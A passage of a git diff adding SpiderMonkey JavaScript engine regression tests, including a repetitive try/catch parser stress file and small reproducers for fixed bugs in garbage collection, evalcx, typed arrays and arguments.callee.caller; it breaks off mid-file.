{} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try { + if (2 == 0) { } else { []; } +} catch (e) {} +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-563210.js b/js/src/tests/js1_8_5/regress/regress-563210.js new file mode 100644 index 000000000..d5ba6b2e7 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-563210.js @@ -0,0 +1,28 @@ +// |reftest| skip-if(Android) +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Gary Kwong and Nicholas Nethercote + */ + +if (typeof gczeal != 'undefined' && typeof gc != 'undefined') { + try + { + try { + __defineGetter__("x", gc) + } catch (e) {} + gczeal(1) + print(x)(Array(-8)) + } + catch(ex) + { + } +} + +// Reset gczeal. +if (typeof gczeal !== 'undefined') + gczeal(0) + +reportCompare("no assertion failure", "no assertion failure", "bug 563210"); + + diff --git a/js/src/tests/js1_8_5/regress/regress-563221.js b/js/src/tests/js1_8_5/regress/regress-563221.js new file mode 100644 index 000000000..beb82b499 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-563221.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Jason Orendorff <jorendorff@mozilla.com> + +"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });"); + +if (this.reportCompare) + reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-566549.js b/js/src/tests/js1_8_5/regress/regress-566549.js new file mode 100644 index 000000000..3c5decd0f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-566549.js @@ -0,0 +1,20 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributors: Jesse Ruderman <jruderman@gmail.com>, +// Gary Kwong <gary@rumblingedge.com>, +// Jason Orendorff <jorendorff@mozilla.com> + +try { + evalcx('var p;', []); +} catch (exc) {} + +try { + evalcx(''); + Function("evalcx(\"var p\",[])")(); +} catch (exc) {} + +try { + evalcx('var p;'); +} catch (exc) {} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-567152.js b/js/src/tests/js1_8_5/regress/regress-567152.js new file mode 100644 index 000000000..02f7b2401 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-567152.js @@ -0,0 +1,12 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributors: Gary Kwong <gary@rumblingedge.com>, +// Jason Orendorff <jorendorff@mozilla.com> + +function c(a) { + this.f = function () { a; }; +} +c(0); // set both BRANDED and GENERIC bits in global scope +Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3}); + +reportCompare(0, 0, ""); diff --git a/js/src/tests/js1_8_5/regress/regress-569306.js b/js/src/tests/js1_8_5/regress/regress-569306.js new file mode 100644 index 000000000..221782186 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-569306.js @@ -0,0 +1,10 @@ +function f() {} +var g = new Function(); +delete Function; +function h() {} + +assertEq(f.__proto__, g.__proto__); +assertEq(g.__proto__, h.__proto__); +assertEq(false, "Function" in this); + +reportCompare("ok", "ok", "bug 569306"); diff --git a/js/src/tests/js1_8_5/regress/regress-571014.js b/js/src/tests/js1_8_5/regress/regress-571014.js new file mode 100644 index 000000000..0f8a51c4d --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-571014.js @@ -0,0 +1,32 @@ + +var F, o; + +F = function () {}; +F.prototype = new ArrayBuffer(1); +o = new F(); +try { + o.byteLength; +} catch (ex) { + // o is not a platform object + assertEq(ex instanceof TypeError, true); +} + +o = {}; +o.__proto__ = new Int32Array(1); +try { + o.buffer.byteLength; +} catch (ex) { + // o is not a platform object + assertEq(ex instanceof TypeError, true); +} + +F = function () {}; +F.prototype = new Int32Array(1); +o = new F(); +try { + o.slice(0, 1); + reportFailure("Expected an exception!"); +} catch (ex) { +} + +reportCompare("ok", "ok", "bug 571014"); diff --git a/js/src/tests/js1_8_5/regress/regress-573875.js b/js/src/tests/js1_8_5/regress/regress-573875.js new file mode 100644 index 000000000..fcfc00a9e --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-573875.js @@ -0,0 +1,21 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var o = {__iterator__:null, a:1, b:2, c:3} +var expect = '__iterator__,a,b,c,'; +var actual = ''; + +try { + for (var i in o) + actual += i + ','; +} catch (e) { + actual = '' + e; + if (/invalid __iterator__ value/.test(actual) || + /null is not a function/.test(actual)) { + expect = actual; + } +} + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-577648-1.js b/js/src/tests/js1_8_5/regress/regress-577648-1.js new file mode 100644 index 000000000..d40c7b0e4 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-577648-1.js @@ -0,0 +1,87 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var count = 0; + +function testCaller(obj) { + switch (++count) { + case 1: + case 2: + /* + * The first two times, obj is objA. The first time, we reference + * arguments.callee.caller before obj.go, so the caller getter must + * force the joined function object in the stack frame to cross the + * method read barrier. The second time, obj.go has been cloned and + * it should match the new frame's callee from the get-go. + */ + assertEq(obj, objA); + break; + + case 3: { + assertEq(obj, objB); + + /* + * Store another clone of the joined function object before obj.go has + * been read, but after it has been invoked via objB.go(objB). + * + * In this case, arguments.callee.caller must not lie and return what + * is currently stored in objB.go, since that function object (objA.go) + * was cloned earlier, when count was 1, and it is not the function + * object that was truly invoked. + * + * But since the invocation of objB.go(objB) did not clone go, and the + * following assignment overwrote the invoked value, leaving the only + * reference to the joined function object for go in the stack frame's + * callee (argv[-2]) member, the arguments.callee.caller reference must + * clone a function object for the callee, store it as the callee, and + * return it here. + * + * It won't equal obj.go, but (implementation detail) it should have + * the same proto as obj.go + */ + obj.go = objA.go; + + let caller = 